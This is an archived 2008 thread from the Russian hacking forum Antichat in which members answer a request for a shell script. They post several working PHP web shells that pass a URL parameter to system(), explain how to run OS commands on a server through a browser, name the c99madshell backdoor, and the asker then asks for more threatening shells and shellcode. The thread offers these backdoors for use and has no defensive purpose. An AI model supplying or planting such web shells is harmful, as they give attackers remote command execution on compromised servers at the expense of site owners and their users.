Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Скрипт шелла (https://forum.antichat.xyz/showthread.php?t=58098)

ZEXEL 10.01.2008 17:13

Скрипт шелла
 
Дайте ктото скрипт нормального шелла

__mad 10.01.2008 17:14

Код:

<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<?
if($_GET['cmd']) {
  system($_GET['cmd']);
  }
?>
</pre>
</BODY></HTML>


ZEXEL 10.01.2008 17:22

И что через етот шелл можна делать ?

FraiDex 10.01.2008 17:26

Цитата:

И что через етот шелл можна делать ?
ну мир с помощью его ты не перевернёш. но команды в ОС выполнять точно сможеш.. (если safe_mode=off)

AFoST 10.01.2008 17:27

Я бы упростил)))
файл cmd.php
Код:

<? system($cmd); ?>
Дает доступ к командной строке, допустим сервак на винде. Обращаемся к скрипту через броузер:
Код:

http://site/path/cmd.php?cmd=dir
--выдаст содержимое директории. Так же можно выпонлять и все другие команды командной строки, если хватит прав.

ZEXEL 10.01.2008 17:27

Да просто system на сервере делать нельзя, потому и шел етот безполезен в моем случаии !
а какие еще есть шеллы что бы представляли угрозу?

FraiDex 10.01.2008 17:33

Цитата:

Я бы упростил)))
файл cmd.php
Код:

<? system($cmd); ?>

немного подправлю...
PHP код:

<? system($_GET['cmd']) ?>

так немного правельнее ;)

FraiDex 10.01.2008 17:35

Zexel, ты хоть знаеш что такое шелл и для чего он?
может те шелл-коды нужны?

V1k 10.01.2008 17:36

c99madshell

ZEXEL 10.01.2008 17:36

Да, шел коды !


Время: 02:28